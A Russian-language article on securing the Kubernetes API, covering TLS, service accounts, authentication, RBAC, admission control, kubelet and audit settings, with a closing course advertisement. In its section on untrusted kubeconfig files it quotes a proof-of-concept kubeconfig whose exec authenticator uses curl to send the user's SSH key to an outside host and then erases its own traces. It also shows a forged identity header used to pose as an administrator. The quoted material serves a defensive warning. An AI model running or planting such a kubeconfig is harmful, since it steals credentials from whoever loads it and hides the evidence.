В кластере Kubernetes control plane управляет нодами, ноды — pod’ами, pod'ы — контейнерами, контейнеры — приложениями. А кто управляет control plane?
Kubernetes предоставляет API для комплексного управления всем кластером Kubernetes. Получается, что, в первую очередь, мы должны защитить доступ к Kubernetes API. Даже в свежих рекомендациях агентства нацбезопасности США по защите Kubernetes нам велят использовать надёжную аутентификацию и авторизацию, чтобы ограничить пользовательский и административный доступ и сократить поверхность атаки.
В этой статье мы поговорим о том, как защитить доступ к API в кластере Kubernetes. Если вы хотите реализовать надёжную аутентификацию и авторизацию в кластере Kubernetes, вам сюда. Даже если вы используете управляемые сервисы Kubernetes, например AWS EKS или GCP Kubernetes Engine, будет полезно узнать, как устроен контроль доступа, чтобы планировать общую безопасность в Kubernetes .
Почему так важно контролировать доступ к Kubernetes API?
Сначала давайте в общих чертах вспомним, как работает Kubernetes. Kubernetes — это не один продукт, а набор программ, работающих вместе. У многих других решений единая поверхность атаки, а для защиты Kubernetes нужно учитывать целый ряд инструментов и компонентов.
В классической модели 4C для защиты облака мы должны обеспечить безопасность четырёх компонентов: code, container, cluster и cloud (код, контейнер, кластер и облако), и Kubernetes в этой парадигме соответствует кластеру. Уязвимости и ошибки конфигурации на одном уровне увеличивают риски для другого. Получается, что безопасность Kubernetes зависит от безопасности других облачных компонентов.
Пять рекомендаций по контролю доступа к Kubernetes API
Контроль доступа к API в Kubernetes выполняется в несколько этапов: сначала запрос проходит аутентификацию, потом — авторизацию, затем контроль допуска и наконец ему предоставляется доступ. Ещё до начала аутентификации нужно обязательно убедиться, что контроль сетевого доступа и TLS-соединение правильно настроены.
Рекомендации по защите прямого сетевого доступа к Kubernetes API (control plane):
1. Настраиваем и используем TLS везде
Весь трафик к серверу API, внутри control plane, между control plane и kubelet должен проходить по TLS-соединениям. Настроить TLS на сервере API не трудно — просто используем флаги --tls-cert-file=[file]
и --tls-private-key-file=[file]
для kube-apiserver. Куда сложнее будет наладить управление сертификатами TLS в кластере, учитывая как легко Kubernetes меняет масштаб. Чтобы решить эту проблему, в Kubernetes появилась новая возможность — TLS bootstrapping для автоматического подписания сертификатов и конфигурации TLS внутри кластера Kubernetes.
2. Повышаем безопасность параметров TLS-соединения
Настраиваем флаги, связанные с TLS и поддерживаемые kube-apiserver
.
--secure-port
Сетевой порт для HTTPS-соединения с kube-apiserver. Порт по умолчанию: 6443. Можно изменить значение по умолчанию, указав желаемый номер порта с помощью флага--secure-port
.--tls-cert-file, --tls-private-key-file
Эти флаги настраивают сертификаты x509 и частный ключ для HTTPS-соединений.--cert-dir
Настройка каталога для файлов TLS-сертификатов и ключей. Флаги--tls-cert-file
и--tls-private-key-file
получают приоритет над сертификатами в этом каталоге. По умолчанию--cert-dir
находится в /var/run/kubernetes.--tls-cipher-suites
Настраиваем наборы шифров для TLS. Без этого флага kube-apiserver использует наборы шифров по умолчанию, предложенные Golang.--tls-min-version
Настраиваем минимальную поддерживаемую версию TLS. Возможные значения: VersionTLS10, VersionTLS11, VersionTLS12, VersionTLS13.--tls-sni-cert-key
Настраиваем Server Name Indication (SNI) в виде пары --tls-sni-cert-key=testdomain.crt,testdomain.key.--strict-transport-security-directives
Настраиваем HTTP Strict Transport Security (HSTS).--requestheader-client-ca-file, --proxy-client-cert-file, --proxy-client-key-file
Kubernetes позволяет расширить kube-apiserver кастомными API на уровне агрегации. Благодаря уровню агрегации можно создать собственный сервер API (расширение сервера kube-apiserver). Чтобы защитить взаимодействие между kube-apiserve и нашим сервером API, можно с помощью этих флагов настроить сертификаты x509.
3. Защищаем TLS-соединение между сервером API и kubelet
--kubelet-certificate-authority, --kubelet-client-certificate, --kubelet-client-key
Это флаги для настройки центра сертификации (certificate authority, CA), сертификата клиента и закрытого ключа клиента для TLS-соединения между сервером Kubernetes API и kubelet.
4. Защищаем TLS-соединение между сервером API и etcd:
--etcd-cafile, --etcd-certfile, --etcd-keyfile
Флаги для настройки TLS-соединений между API и etcd.
5. Защищаем прямой сетевой доступ к серверу API
Не используем порт localhost в продакшене.
По умолчанию Kubernetes API обслуживает HTTP-трафик по двум портам: localhost и защищённый порт. Порт localhost не требует TLS, и запросы к нему могут обходить аутентификацию и авторизацию. За пределами тестового окружения этот порт использовать нельзя.Используем kubectl proxy для управления защищённым доступом клиентов
Безопасные коммуникации требуют строгого управления секретами как на клиенте, так и на сервере. Если у вас распределённая команда, скорее всего, несколько пользователей используют kubectl из разных мест, что повышает риск компрометации учётных данных (файлов сертификата, токенов). Можно настроить сервер Bastion, где kubectl proxy настроен таким образом, что пользователи отправляют HTTPS-запросы к серверу Bastion, а kubectl proxy перенаправляет их (с необходимыми учётными данными) на сервер API. Таким образом конфиденциальные учётные данные не покидают защищённый сервер Bastion. С помощью этого метода также можно запретить пользователям обращаться к серверу API напрямую через сетевой доступ.Изучаем и защищаем прокси сервера API
У Kubernetes есть встроенный сервер Bastion (внутри сервера API), который выступает как прокси для доступа к сервисам, запущенным на кластере. Для доступа к сервисам используется следующая схема:http://kubernetes_master_address/api/v1/namespaces/namespace-name/services/service-name[:port_name]/proxy
. Например, если в кластере выполняется сервис elasticsearch-logging, он будет доступен по URLhttps://ClusterIPOrDomain/api/v1/namespaces/kube-system/services/elasticsearch-logging/proxy
Прокси предоставляет доступ к внутренним сервисам, которые напрямую недоступны из внешней сети. Это удобно для административных целей, но злоумышленник может получить доступ к внутренним сервисам, хотя в другом случае не прошёл бы авторизацию с назначенной ролью. Если мы хотим разрешить административный доступ к серверу API, но заблокировать доступ к внутренним сервисам, можно использовать прокси HTTP или WAF, чтобы заблокировать запросы к этим конечным точкам.Используем прокси HTTP, балансировщики нагрузки и межсетевые экраны
Если добавить простой прокси-сервер HTTP (например, с Nginx), можно быстро применять правила безопасности и URL перед Kubernetes API. Для дополнительной безопасности можно инвестировать в балансировщик нагрузки (например, AWS ELB, Google Cloud Load Balancer) и межсетевые экраны перед сервером Kubernetes API, чтобы контролировать прямой доступ к серверу.
Рекомендации по управлению пользовательскими аккаунтами для Kubernetes API
Control plane, главный уровень оркестрации контейнеров в Kubernetes, предоставляет несколько API и интерфейсов, чтобы определять и развёртывать контейнеры, а также управлять их жизненным циклом. API предоставляется как HTTP REST API и может использоваться через любую совместимую клиентскую библиотеку HTTP. Лучше всего обращаться к этим API через kubectl, CLI по умолчанию. Кто будет обращаться к этим API? Обычные пользователи и сервисные аккаунты.
Ниже приводятся рекомендации по управлению аккаунтами обычных пользователей и сервисов в Kubernetes.
Управляем аккаунтами обычных пользователей
Лучше использовать для подготовки и администрирования таких аккаунтов корпоративные решения IAM (AD, Okta, G Suite OneLogin и т. д.), чтобы соблюдать корпоративные политики IAM. Заодно можно изолировать от Kubernetes риски, связанные с аккаунтами обычных пользователей.
Управляем сервисными аккаунтами
Сервисные аккаунты привязаны к определённым пространствам имён и используются для определённых задач по управлению, поэтому нужно тщательно проверять их безопасность.
Доступные сервисные аккаунты можно проверять так:
$ kubectl get serviceaccounts
NAME SECRETS AGE
default 1 89m
Можно просмотреть детали объекта сервисного аккаунта:
$ kubectl get serviceaccounts/default -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
creationTimestamp: "2021-07-21T15:16:33Z"
name: default
namespace: default
resourceVersion: "418"
uid: 702c6c93-f4de-4068-ab37-ce36e37277a8
secrets:
- name: default-token-zr9tk
Чтобы посмотреть секреты, связанные с сервисным аккаунтом (если мы хотим проверить время создания секрета для смены старого секрета), можно использовать команду get secret:
$ kubectl get secret default-token-zr9tk -o yaml
apiVersion: v1
data:
ca.crt: LS0tLS1CRUxxx==
namespace: ZGVmYXVsdA==
token: ZXlKaGJHY2lPaUxxx=
kind: Secret
metadata:
annotations:
kubernetes.io/service-account.name: testserviceaccount
kubernetes.io/service-account.uid: 3e98a9b7-a2f5-4ea6-9e02-3fbee11f2439
creationTimestamp: "2021-07-21T18:03:44Z"
name: testserviceaccount-token-mtkv7
namespace: default
resourceVersion: "7500"
uid: 2b1da08b-2ff7-40f5-9e90-5848ce0475ca
type: kubernetes.io/service-account-token
Совет. В экстренном случае или если мы хотим заблокировать доступ для сервисного аккаунта, не удаляя его, можно аннулировать учётные данные аккаунта командой delete secret:
$ kubectl delete secret testserviceaccount-token-mtkv7
Вместо сервисных аккаунтов по умолчанию лучше использовать выделенный сервисный аккаунт для одного приложения, чтобы можно было применять принцип минимальных привилегий. Если у двух приложений одинаковый набор привилегий, можно использовать тот же сервисный аккаунт и не создавать новый, чтобы не усложнять. Все мы знаем, что сложность подрывает безопасность.
Не всем pod’ам в Kubernetes нужен доступ к Kubernetes API. Но поскольку токен сервисного аккаунта по умолчанию автоматически монтируется в новый pod, если не указан конкретный сервисный аккаунт, поверхность атаки будет неоправданно увеличена. Мы можем отключить сервисный аккаунт:
apiVersion: v1
kind: ServiceAccount
automountServiceAccountToken: false
Совет. Поставьте флаг
--service-account-key-file
для kube-apiserver и флаг--service-account-private-key-file для kube-controller-manager
, чтобы для подписания и верификации токенов ServiceAccount использовались специальные сертификаты x509 или пары ключей. В противном случае Kubernetes будет подписывать и верифицировать токены ServiceAccount, используя закрытый ключ TLS — тот же, который использовался для настройки TLS-соединения с сервером API (--tls-private-key-file
). Если токены скомпрометированы и нужно их сменить, придётся сменить и основные сертификаты TLS, а это проблемно с операционной точки зрения.
Рекомендации по аутентификации для доступа к Kubernetes API
1. Используем внешнюю аутентификацию
По возможности используем внешний сервис для аутентификации. Например, если организация уже управляет пользовательскими аккаунтами с помощью корпоративного сервиса IAM, самым безопасным вариантом будет использовать его же для аутентификации пользователей и их подключения к Kubernetes с помощью таких методов, как OIDC (см. руководство по настройке OpenID Connect).
2. Используем один метод аутентификации на пользователя
Если пользователь проходит аутентификацию с помощью одного метода, Kubernetes не требует дальнейшей аутентификации, а перенаправляет запрос. Поскольку Kubernetes позволяет настроить и включить несколько аутентификаторов сразу, убедитесь, что каждый аккаунт пользователя привязан только к одному методу аутентификации.
Например, если злоумышленник может пройти аутентификацию одним из двух методов и находит способ обойти слабый метод, ему не придётся проходить через более строгую аутентификацию. Сервер Kubernetes API не гарантирует порядок выполнения аутентификаторов.
3. Удаляем неиспользуемые методы аутентификации
Время от времени проверяйте неиспользуемые методы и токены аутентификации и удаляйте или отключайте их. Администраторы часто используют одни инструменты, чтобы упростить настройку кластера Kubernetes, а потом переходят на другие методы управления кластерами. В этом случае важно тщательно проверить старые методы и токены аутентификации и удалить их, если они больше не нужны.
4. Избегаем статических токенов
Статические токены загружаются бесконечно, пока сервер онлайн. Если токен скомпрометирован и его нужно сменить, нужно будет перезапустить сервер, чтобы очистить его от скомпрометированных токенов. Настроить аутентификацию со статическими токенами проще, но лучше избегать этого метода. Убедитесь, что kube-apiserver не запускается с флагом --token-auth-file=STATIC_TOKEN_FILE
.
5. Избегаем использования прокси аутентификации
Прокси аутентификации велит серверу Kubernetes API проверять подлинность пользователей по имени пользователя, которое указано в заголовке HTTP, например X-Remote-User: [username]. Это очень небезопасный метод аутентификации, ведь клиенты могут легко перехватить и изменить заголовок HTTP, потому что так работает HTTP.
Например, в следующем входящем запросе указан прошедший аутентификацию пользователь dev1:
GET / HTTP/1.1
X-Remote-User: dev1
X-Remote-Group: devgroup1
X-Remote-Extra-Scopes: profile
Ничто не мешает злоумышленнику перехватить или скорректировать запрос:
GET / HTTP/1.1
X-Remote-User: administrator
X-Remote-Group: devgroup1
X-Remote-Extra-Scopes: profile
Можно подделать заголовок HTTP, и единственная защита от спуфинга — доверие на основе mTLS, то есть kube-apiserver доверяет клиентскому сертификату, подписанному доверенным CA.
Если вам действительно очень нужен прокси аутентификации, тщательно продумайте риски, связанные с сертификатами.
6. Отключаем анонимный доступ
По умолчанию HTTP-запросы, которые не прошли аутентификацию, но не были отклонены, обрабатываются как анонимный доступ и считаются пользователями system:anonymous в группе system:unauthenticated. Если у нас нет веских причин разрешить анонимный доступ (включённый по умолчанию), лучше отключить его при запуске сервера API: $ kube-apiserver --anonymous-auth=false.
Рекомендации по авторизации для доступа к Kubernetes API
После аутентификации Kubernetes проверяет, следует разрешить или отклонить этот запрос. Решение зависит от доступного режима авторизации (включается при запуске kube-apiserver), а также от таких атрибутов, как пользователь, группа, пользовательские метки, ресурс API, конечная точка API, команда в запросе API (get, list, update, patch и т. д.), команде в HTTP-запросе (get, pull, post, delete), ресурс, подресурс, пространство имён и группа API.
Ниже приводятся рекомендации по авторизации доступа к Kubernetes API.
1. Используем контроль доступа на основе ролей (RBAC)
RBAC в Kubernetes заменил предыдущий метод ABAC и стал предпочитаемым способом авторизации доступа к API. Чтобы включить RBAC, запускаем сервер API, указав $ kube-apiserver --authorization-mode=RBAC
. Важно помнить, что разрешения RBAC в Kubernetes складываются — запрещающих правил нет.
В Kubernetes два типа ролей: Role и ClusterRole,— и эти роли можно предоставлять с помощью методов RoleBinding и ClusterRoleBinding. Поскольку ClusterRole действует по всему кластеру Kubernetes, лучше использовать Role и RoleBinding вместо ClusterRole и ClusterRoleBinding.
Ниже приводятся встроенные роли по умолчанию:
Cluster-admin. Это пользователь уровня root или суперпользователя, который может выполнять любое действие с любым ресурсом в кластере. Нужно трижды подумать, назначая эту роль пользователю. Здесь мы видим, что роль cluster-admin есть у группы masters:
$ kubectl describe clusterrolebinding cluster-admin
Name: cluster-admin
Labels: kubernetes.io/bootstrapping=rbac-defaults
Annotations: rbac.authorization.kubernetes.io/autoupdate: true
Role:
Kind: ClusterRole
Name: cluster-admin
Subjects:
Kind Name Namespace
---- ---- ---------
Group system:masters
Admin. Эта роль даёт неограниченный доступ на чтение и запись для ресурсов в определённом пространстве имён. Она похожа на cluster-admin и позволяет создавать роли и привязки ролей в пространстве имён. Будьте очень осторожны, назначая эту роль.
Edit. Эта роль позволяет читать и записывать данные в пространстве имён, но не просматривать или изменять роли и привязки ролей. Однако у этой роли есть доступ к секретам сервисного аккаунта, с помощью которого путём эскалации привилегий можно получить доступ к действиям API, которые не должны быть доступны.
View. Это самая ограниченная встроенная роль, которая разрешает только доступ на чтение объектов в пространстве имён. Нельзя просматривать секреты, роли и привязки ролей.
2. Роль ServiceAccount в пределах приложения
Всегда предоставляйте для ServiceAccount ту роль, которая нужна этому аккаунту в зависимости от приложения. В духе подхода с минимальными привилегиями Kubernetes по умолчанию ограничивает область действия разрешений RBAC, выданных ServiceAccounts, пространством имён kube-system. Чтобы расширить область разрешения, нужно создать привязку роли. Ниже, например, мы предоставляем разрешение только на чтение в пространстве имён devteam сервисному аккаунту devteamsa.
3. Не даём разрешение на escalate и bind
Не предоставляйте команды escalate и bind для ролей Role и ClusterRole. Kubernetes позволяет предотвратить эскалацию привилегий через изменение ролей и привязок ролей. Пользователи не смогут создавать или обновлять роли, к которым у них нет доступа. Если мы разрешаем escalate или bind, мы обходим защиту от эскалации привилегий, и злоумышленник может воспользоваться этой возможностью.
Например, в следующем коде ClusterRole и RoleBinding позволят пользователю non_priv_user предоставить другим пользователям роли admin, edit, view в пространстве имён non_priv_user_namespace:
# Create ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: role-grantor
rules:
- apiGroups: ['rbac.authorization.k8s.io']
resources: ['rolebindings']
verbs: ['create']
- apiGroups: ['rbac.authorization.k8s.io']
resources: ['clusterroles']
verbs: ['bind']
resourceNames: ['admin', 'edit', 'view']
# Create RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: role-grantor-binding
namespace: non_priv_user_namespace
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: role-grantor
subjects:
- apiGroup: rbac.authorization.k8s.io
kind: User
name: non_priv_user
4. Проверяем и отключаем небезопасный порт
Убедитесь, что для kube-apiserver не включён небезопасный порт (--insecure-port
), потому что Kubernetes разрешает вызовы API через небезопасный порт (если он включён) без аутентификации и авторизации.
5. Периодически проверяем статус авторизации
С помощью команды $ kubectl auth can-i
можно быстро проверить статус авторизации API.
$ kubectl auth can-i create deployments --namespace dev
yes
Команда возвращает yes или no, в зависимости от роли авторизации. С помощью этой команды можно проверить и свой статус авторизации, но больше пользы она принесёт для перекрёстной проверки разрешений других пользователей вместе с командой имперсонации:
$ kubectl auth can-i list secrets --namespace dev --as user_name_to_check
Совет. Если следующая команда возвращает yes, пользователю разрешено всё.
$ kubectl auth can-i '*' '*' --as user_name_to_check
6. Не используем --authorization-mode=AlwaysAllow
Проверьте, что для kube-apiserver не установлен флаг --authorization-mode=AlwaysAllow
, потому что он велит серверу не требовать авторизацию входящих запросов API.
7. Думаем дважды, прежде чем дать разрешение на создание pod’ов
Старайтесь как можно реже назначать пользователям роль с возможностью создавать pod’ы в пространстве имён, потому что злоумышленник может эскалировать привилегии в этом пространстве имён, чтобы читать любые секреты и схемы конфигурации или олицетворять любые сервисные аккаунты.
8. Используем контроллер допуска
Аутентификация проверяет допустимость учётных данных для входа, а авторизация контролирует наличие у пользователя разрешений на ту или иную задачу. Но как проследить, что пользователи, которые прошли аутентификацию и авторизацию, ведут себя хорошо? Для этого Kubernetes поддерживает контроль допуска, который позволяет изменять или валидировать запросы после успешной аутентификации и авторизации.
Для Kubernetes есть много модулей контроля допуска. NodeRestriction, например, контролирует запросы на доступ от kubelet, а PodSecurityPolicy, который активируется во время событий API, связанных с созданием или изменением pod’а, применяет к pod’у минимальные стандарты безопасности. Контроллеры ValidatingAdmissionWebhooks и MutatingAdmissionWebhooks позволяют на лету применять политику, инициируя HTTP-запросы к внешним сервисам (через вебхук) и выполняя действия в зависимости от ответа. При таком подходе мы централизованно управляем политиками и применяем их на множестве кластеров и развёртываний Kubernetes. См. документацию, чтобы узнать, как запустить кастомный контроллер допуска с помощью этих двух контроллеров.
Включаем/отключаем контроллер допуска
Доступные встроенные контроллеры доступа по умолчанию зависят от того, как вы управляете кластером Kubernetes (кастомный дистрибутив Kubernetes, AWS EKS, GCP Kubernetes Engine и т. д.). Мы можем проверить, какие контроллеры допуска нам доступны:
$ kubectl -n kube-system describe po kube-apiserver-[name]
Name: kube-apiserver-minikube
...
Containers:
kube-apiserver:
kube-apiserver
...
--enable-admission-plugins=NamespaceLifecycle,LimitRanger,ServiceAccount,
DefaultStorageClass,DefaultTolerationSeconds,NodeRestriction,
MutatingAdmissionWebhook,ValidatingAdmissionWebhook,ResourceQuota
--enable-bootstrap-token-auth=true
Чтобы включить или отключить определённый контроллер допуска:
# Enable admission controller
$ kube-apiserver --enable-admission-plugins=[comma separated list of admission controllers]
# Disable admission controller
$ kube-apiserver --disable-admission-plugins=[comma separated list of admission controllers]
Проверяем доступность и настраиваем таймауты
Kubernetes поддерживает динамический контроль допуска с помощью интеграции вебхуков допуска. Используя динамические контроллеры, можно легко реализовывать кастомные контроллеры допуска, но не забывайте проверять доступность сервиса вебхуков, потому что сторонние запросы могут привести к задержке, которая повлияет на доступность всего кластера Kubernetes.
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
---
webhooks:
- name: test-webhook.endpoint.com
timeoutSeconds: 2
Рекомендации по безопасности для kubelet
Kubelet — это агент, который работает на каждой ноде Kubernetes и следит, чтобы в ней выполнялись спецификации PodSpec. Kubelet также предоставляет HTTP API, с помощью которого можно контролировать и настраивать pod’ы и ноды.
Ниже приводится три рекомендации по защите доступа к kubelet:
1. Ограничиваем прямой сетевой доступ к ноде и Kubelet API
Как мы контролируем прямой сетевой доступ к серверам API, так следует ограничивать доступ к kubelet и нодам. Для этого есть межсетевые экраны, прокси HTTP и конфигурации.
2. Используем NetworkPolicy
Объекты NetworkPolicy помогают изолировать pod’ы и контролировать трафик между pod’ами и пространствами имён. С их помощью мы можем настраивать сетевой доступ на L3 и L4 в модели OSI. Надёжно настроенные объекты NetworkPolicy защищают кластер в ситуациях, когда скомпрометирована одна нода, pod или пространство имён.
В этом примере политики мы запрещаем весь входящий трафик.
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-ingress
spec:
podSelector: {}
policyTypes:
- Ingress
Есть готовые шаблоны сетевых политик.
3. Включаем аутентификацию для kubelet API
Аутентификация с сертификатами x509
Чтобы включить аутентификацию через клиентские сертификаты X509 между kubelet и kube-apiserver, устанавливаем для сервера kubelet флаг--client-ca-file
, а для kube-apiserver — флаги--kubelet-client-certificate
и--kubelet-client-key
.Аутентификация с токенами на предъявителя
Kubelet поддерживает аутентификацию через токены на предъявителя, делегируя аутентификацию внешнему серверу. Чтобы включить эту возможность, запускаем kubelet с флагом--authentication-token-webhook
. Затем kubelet запросит внешний сервер вебхуков по конечной точке TokenReviewhttps://WebhookServerURL/<TokenReview>
, чтобы валидировать токен.Отключаем анонимный доступ
Как и kube-apiserver, kubelet поддерживает анонимный доступ. Чтобы его отключить, запускаем kubelet с флагом$ kublet --anonymous-auth=false
.Включаем авторизацию для kubelet API
Режим авторизации по умолчанию для kubelet API — AlwaysAllow, то есть авторизуется каждый входящий запрос. Kubelet поддерживает делегирование авторизации на сервер вебхуков (похоже на аутентификацию через токен на предъявителя) в режиме webhook. Для этого запускаем kubelet с флагами--authorization-mode=Webhook
и--kubeconfig
. Kubelet будет вызывать конечную точку SubjectAccessReview на kube-apiserverhttps://WebhookServerURL/<SubjectAccessReview>
для проверок авторизации.
Рекомендации по контролю доступа к API
П емь лучших практик для защиты API Kubernetes, помимо TLS, управления пользователями, аутентификации и авторизации.
1. Защита доступа к дашборду Kubernetes
Незащищённый доступ к дашборду Kubernetes может стать огромной брешью в обороне всей системы. Если вы разрешаете доступ к дашборду Kubernetes, настройте надёжную аутентификацию и авторизацию по стандартным правилам безопасности веб-приложений.
2. Используем пространство имён для разделения конфиденциальных рабочих нагрузок
С помощью пространств имён в Kubernetes мы объединяем связанные ресурсы, создавая для них виртуальную границу. В сочетании с RoleBinding пространства имён помогают сдержать радиус поражения в случае инцидента. Когда мы используем пространство имён для разделения конфиденциальных рабочих нагрузок, компрометация аккаунта с доступом в одно пространство имён не повлияет на целостность остальных. Объекты NetworkPolicy и разделение на пространства имён — это лучшая комбинация для защиты нод.
3. Используем файлы kubeconfig только из доверенных источников
Файл kubeconfig может содержать вредоносный код или нарушать безопасность конфиденциальных файлов. Нужно проверять файл kubeconfig так же тщательно, как shell-скрипт.
Вот пример файла kubeconfig, который раскрывает закрытые ключи SSH (Проблема GitHub: использование ненадёжных файлов Kubeconfig в Kubernetes)
# execute arbitrary commands with the exec authenticator
# in the example, leak the ssh keys (.pub is optional) and remove the traces
apiVersion: v1
clusters:
- cluster:
server: https://eipu5nae.free.beeceptor.com/
name: poc
contexts:
- context:
cluster: poc
user: poc
name: poc
current-context: poc
kind: Config
preferences: {}
users:
- name: poc
user:
exec:
apiVersion: client.authentication.k8s.io/v1alpha1
command: sh
args:
- -c
- 'curl -d@../.ssh/id_rsa.pub https://eipu5nae.free.beeceptor.com/exec; sed -i -e ''/exec:/,$ d'' "$KUBECONFIG" || true'
4. Используем feature gate, чтобы сократить поверхность атаки
Feature gate представляет собой пару ключ-значение и используется для включения и отключения определённого компонента Kubernetes. Компонентов у Kubernetes очень много (они настраиваются через API), но не все они нам нужны. Ненужные лучше отключать, чтобы сократить поверхность атаки.
В Kubernetes компоненты проходят три стадии: альфа (нестабильный, с ошибками), бета (стабильный, включён по умолчанию) и GA (общедоступный компонент, включён по умолчанию). Если мы хотим отключить компонент на стадии альфа, мы передаём для kube-apiserver флаг --feature-gates="...,LegacyNodeRoleBehavior=false, DynamicKubeletConfig=false"
(не действует на компоненты со статусом GA)
5. Используем лимиты и квоты, чтобы предотвратить DoS-атаки
Лимиты (ограничения на потребление ресурсов на уровне pod’ов и контейнеров) и квоты на ресурсы (ограничения на потребление ресурсов в пространстве имён) позволяют справедливо распределять доступные ресурсы и защищаться от таких опасностей, как скрытый майнинг.
См. документацию по лимитам и квотам на ресурсы.
6. Ограничиваем прямой доступ к etcd и шифруем etcd, чтобы предотвратить доступ к данным конфигурации открытым текстом
Etcd — это хранилище по умолчанию для всех данных кластера. Доступ к etcd приравнивается к разрешениям root в кластере Kubernetes. Кроме того, у etcd есть собственный набор HTTP API, то есть защищать etcd важно на уровне прямого сетевого доступа и HTTP-запросов. См. документацию Kubernetes по управлению кластером etcd и официальную документацию по etcd. Ещё можно установить флаг --encryption-provider-config
, чтобы настроить, как шифровать данные конфигурации API в etcd. См. руководство по шифрованию секретов при хранении, где рассказывается, как эта возможность реализована в Kubernetes.
Про TLS-соединение между etcd и kube-apiserver см. выше.
7. Ведём логи и мониторим доступ к API
Для записи и просмотра всех событий API есть инструменты мониторинга, логирования и аудита. Ниже приводится пример файла конфигурации аудита, который можно передать kube-apiserver:
apiVersion: audit.k8s.io/v1
kind: Policy
# Discard events related to requests in RequestReceived stage.
omitStages:
- 'RequestReceived'
rules:
# Log pod changes at RequestResponse level
- level: RequestResponse
resources:
- group: ''
# Resource "pods" doesn't match requests to any subresource of pods,
# which is consistent with the RBAC policy.
resources: ['pods']
# Log "pods/log", "pods/status" at Metadata level
- level: Metadata
resources:
- group: ''
resources: ['pods/log', 'pods/status']
$ kube-apiserver -audit-policy-file=[filename]
См. это руководство про конфигурацию аудита.
Заключение
Kubernetes поддерживает гибкие подходы к контролю доступа, но нужно как следует все обдумать, чтобы выбрать самые эффективные и безопасные варианты управлять доступом к API. В этой статье мы рассмотрели различные схемы контроля доступа к API, которые поддерживаются в Kubernetes, а также рекомендации по их использованию.
Эти рекомендации пригодятся вам, даже если вы не управляете кластерами Kubernetes сами, а используете сервисы, вроде AWS EKS или GCP Kubernetes Engine. Всегда полезно понимать, как что устроено, чтобы гарантировать надёжную защиту ресурсов. Кстати, не забывайте про модель облачной безопасности 4C, в которой каждый уровень строится на предыдущем, и от Kubernetes зависит общая безопасность вашей системы в облаке.
Практический курс «Kubernetes: Мега» для продвинутых, старт 14 февраля.